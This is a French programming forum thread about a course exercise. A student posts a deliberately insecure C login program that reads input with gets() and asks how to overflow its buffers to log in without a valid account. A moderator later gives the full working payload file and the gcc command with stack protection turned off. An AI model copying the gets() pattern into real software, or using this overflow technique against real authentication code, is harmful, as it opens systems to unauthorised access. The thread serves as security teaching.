Hacking facile

Résolu
IBx Messages postés 4 Date d'inscription samedi 5 décembre 2015 Statut Membre Dernière intervention 11 décembre 2015 - Modifié par cptpingu le 7/12/2015 à 15:21
cptpingu Messages postés 3837 Date d'inscription dimanche 12 décembre 2004 Statut Modérateur Dernière intervention 28 mars 2023 - 27 déc. 2015 à 16:44
je dois réussir à faire afficher "Bienvenu sur ce systeme..." sans entrer un des nom et mots de passe du tableau users.
Quelqu'un aurait il une idée sur la chaine de caractères à rentrer pour faire un buffer overflow et choisir notre propre nom et mot de passe ?

Code du hack:

#include <stdio.h>

char user_name[20] = "                   ";
char password[20] = "                   ";
char users[][2][20] = 
{ { "root", "98765" },
  { "moi", "allo" },
  { "abc", "motdepasse" },
  { "", "" }
};

int check_name()
{
  int i;
  printf("Nom: "); gets(user_name);
  printf("Mot de passe: "); gets(password);
  
  for(i=0; users[i][0][0] != 0; i++)
  {
    if(strcmp(user_name, users[i][0]) == 0 &&
       strcmp(password,  users[i][1]) == 0)
       return 1;
  }
  return 0;
}

void logon()
{
  printf("Bienvenu sur ce systeme...\n");
  exit(1);
}

void reject()
{
  printf("Connection fermee!\n"); 
  exit(0);
}

main()
{
  unsigned int i;
  for(i=(unsigned)-3; i && !check_name(); i++);
  if(i>=(unsigned)-3)
    logon();
  else
    reject();
}


Résultat attendu:


C:\SSE\hack1>hack1 < monhack1.TXT
Nom: Mot de passe: Bienvenu sur ce systeme...

C:\SSE\hack1>


donc il me faut trouver le bon paramètre à renseigner dans le fichier. Je ne dois pas utiliser les paramètres du tableau suivants :

{ "root", "98765" },
  { "moi", "allo" },
  { "abc", "motdepasse" },
  { "", "" }
A voir également:

10 réponses

nagaD.scar Messages postés 4272 Date d'inscription samedi 8 septembre 2007 Statut Membre Dernière intervention 4 janvier 2023 17
8 déc. 2015 à 13:46
salut,

Je vois pas l'interet de mot "hack" mais bref.

Il faut surtout que tu commence a lire un fichier renseigné directement dans le code et ensuite que tu edit pour passer le nom du fichier en paramètre (int main(int argc, char *argv[]) ).

Mais bon, en l’occurrence je vois pas du tout l'interêt de ton programme ...

naga


PS: le "<" dans ton appel est inutile, et peu même declencher une erreur ..
0
cptpingu Messages postés 3837 Date d'inscription dimanche 12 décembre 2004 Statut Modérateur Dernière intervention 28 mars 2023 123
8 déc. 2015 à 15:36
@nagashima: Il n'y a pas d'erreur dans son énoncé. On lui demande l'écriture d'un shellcode (donc bien un "hack"). Le code donné utilise volontairement des routines non sécurisées, et il est alors aisé de faire un buffer overflow et afficher "Bienvenue sur ce système" sans même connaître le user/pass. Le "<" n'est pas une erreur non plus, car ce n'est pas une lecture de fichier, mais bien une chaîne à envoyer lors d'une "question" en interactif.

Le seul souci c'est qu'il veut qu'on lui fasse son exo (qu'on lui donne la chaîne de caractères finale, cad le "shellcode" qui permet d'overflow). Or, personne ne va lui faire, et s'il nous lit, je l'invite à relire le règlement de ce site :).
0
nagaD.scar Messages postés 4272 Date d'inscription samedi 8 septembre 2007 Statut Membre Dernière intervention 4 janvier 2023 17
8 déc. 2015 à 17:54
ok je comprends mieux, je pensais qu'il voulait passer son fichier en paramètre et non son contenu ^^ (décidément j'ai pas tilté le post au départ x])
0
IBx Messages postés 4 Date d'inscription samedi 5 décembre 2015 Statut Membre Dernière intervention 11 décembre 2015
10 déc. 2015 à 21:41
cptpingu, je n'ai pas demandé de me résoudre l'exercice, mais de m'aider à comprendre le fonctionnement du programme ou me donner une piste, et je pensais que les forums étaient faits pour ça. Sinon je l'ai résolu.

IBx
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
Whismeril Messages postés 19017 Date d'inscription mardi 11 mars 2003 Statut Contributeur Dernière intervention 13 avril 2024 655
10 déc. 2015 à 22:27
0
IBx Messages postés 4 Date d'inscription samedi 5 décembre 2015 Statut Membre Dernière intervention 11 décembre 2015
10 déc. 2015 à 23:22
Merci pour l'info.
0
cptpingu Messages postés 3837 Date d'inscription dimanche 12 décembre 2004 Statut Modérateur Dernière intervention 28 mars 2023 123
11 déc. 2015 à 10:43
@IBx: La formulation de ta phrase laissait pourtant fortement à penser que tu désirais uniquement la solution. À relire attentivement: http://www.gnurou.org/writing/smartquestionsfr
0
IBx Messages postés 4 Date d'inscription samedi 5 décembre 2015 Statut Membre Dernière intervention 11 décembre 2015
Modifié par IBx le 11/12/2015 à 11:13
@cptpingu: je ferai attention la prochaine fois à mieux formuler ma question. Mais merci pour ton explication, ça m'a permis de résoudre le problème. J'avais juste besoin de ça (piste). Encore merci.
0
nagaD.scar Messages postés 4272 Date d'inscription samedi 8 septembre 2007 Statut Membre Dernière intervention 4 janvier 2023 17
11 déc. 2015 à 14:37
Salut,

Du coup pourras-tu indiquer ta solution (ou dans ton cas expliquer ce qui t'as permis de résoudre ton problème) et passer le statut en résolu ?

Ca permettra a d'autres personnes de pouvoir comprendre sans poster de nouveau un message =)

naga
0
cptpingu Messages postés 3837 Date d'inscription dimanche 12 décembre 2004 Statut Modérateur Dernière intervention 28 mars 2023 123
Modifié par cptpingu le 28/12/2015 à 01:14
Il est clair que l'auteur du post ne donnera jamais de réponse. J'ai attendu un petit peu avant de poster la solution, pour des raisons évidentes :).

Voici comment procéder:

Il est aisé de produire un buffer overflow et d'écraser le tableau "users", afin d'y écrire un nom + pass sans y avoir accès. Comme le buffer est limité à 20 char pour "password" (avec l'alignement on passe à 32). Alors on "bourre" 32 caractères inutiles. Le 33ème caractères lu par "gets(password)" va alors commencer à écrire dans "users", par dessus la première entrée (donc on peut remplacer "root" par autre chose).
On fait pareil pour le "pass". Une fois "user" et "pass" écrasés et remplacés par ce que l'on veut, il ne reste qu'à le préciser pour "entrer".

Voici la commande finale:
gcc -W -Wall -ansi -pedantic titi.c -fno-stack-protector && ./a.out < toto.txt
Nom: Mot de passe: Nom: Mot de passe: Nom: Mot de passe: Bienvenu sur ce systeme...


Avec toto.txt
osef
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxpass
plop
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxhack
hack
pass



Explication toto.txt:
osef <= On précise un nom bidon, j'aurais pu mettre n'importe quoi <= 20 char
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxpass <= On bourre de 52 char pour écraser user[0][1] (32 char pour atteindre user + 20 char pour atteindre pass).
plop <= On précise un nom bidon, j'aurais pu mettre n'importe quoi <= 20 char
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxhack <= Cette fois on écrase le "user", en bourrant de 20 char suivi de ce que l'on veut.
hack <= Cette fois on donne notre user que l'on a trafiqué
pass <= puis le pass que l'on a trafiqué
<= Ça "matchera" forcément et on entrera sans y avoir été invité, c'est bien hack par buffer overfow :)



Sous gcc, il y a une protection qui empêche ce genre de "hack", il faut donc préciser que l'on ne veut pas protéger le programme via l'option "-fno-stack-protector", sinon le hack ne fonctionnera pas.


Améliorer votre expérience CodeS-SourceS avec ce plugin:
http://codes-sources.commentcamarche.net/forum/affich-10000111-plugin-better-cs-2#cptpingu-signature
0
Rejoignez-nous